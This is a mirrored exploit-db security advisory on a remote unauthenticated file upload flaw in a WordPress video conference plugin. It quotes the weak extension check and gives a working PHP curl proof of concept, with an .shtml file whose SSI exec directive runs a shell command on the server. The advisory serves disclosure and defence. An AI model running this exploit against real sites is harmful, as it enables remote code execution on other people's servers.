WordPress Plugin VideoWhisper Video Conference Integration 4.91.8 – Arbitrary File Upload

  • 作者： Larry W. Cashdollar
    日期： 2015-04-02
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/36618/
  • Title: Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/support/plugin/videowhisper-video-conference-integration
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31, won’t fix. http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=116
Description: From their site "VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool.Read more on WordPress Video Conference plugin home page."

Vulnerability:
./videowhisper-video-conference-integration/vc/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution is SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: 

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps The
if (strstr($filename,'.php')) exit;
can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml

./videowhisper-video-conference-integration/vc/vw_upload.php

<?php 
if ($_GET["room"]) $room=$_GET["room"]; 
if ($_POST["room"]) $room=$_POST["room"]; 

$filename=$_FILES['vw_file']['name’];
include_once("incsan.php"); 
sanV($room);
if (!$room) exit; 
sanV($filename); 
if (!$filename) exit; 
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit; 
if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 
$destination="uploads/".$room."/“; 
if ($_GET["slides"]) $destination .= "slides/“;
$ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1

CVEID: TBD
OSVDB: TBD

Exploit Code:
 videowhisp_poc.php 

 <?php

 $uploadfile="upexp.shtml";
 $ch = 
 curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
 array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $postResult = curl_exec($ch);
 curl_close($ch);
 print "$postResult";

 ?>

 upexp.shtml

 <html>

 <!--#exec cmd="/usr/bin/date > /tmp/p" -->

 this is html
 </html>


 The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads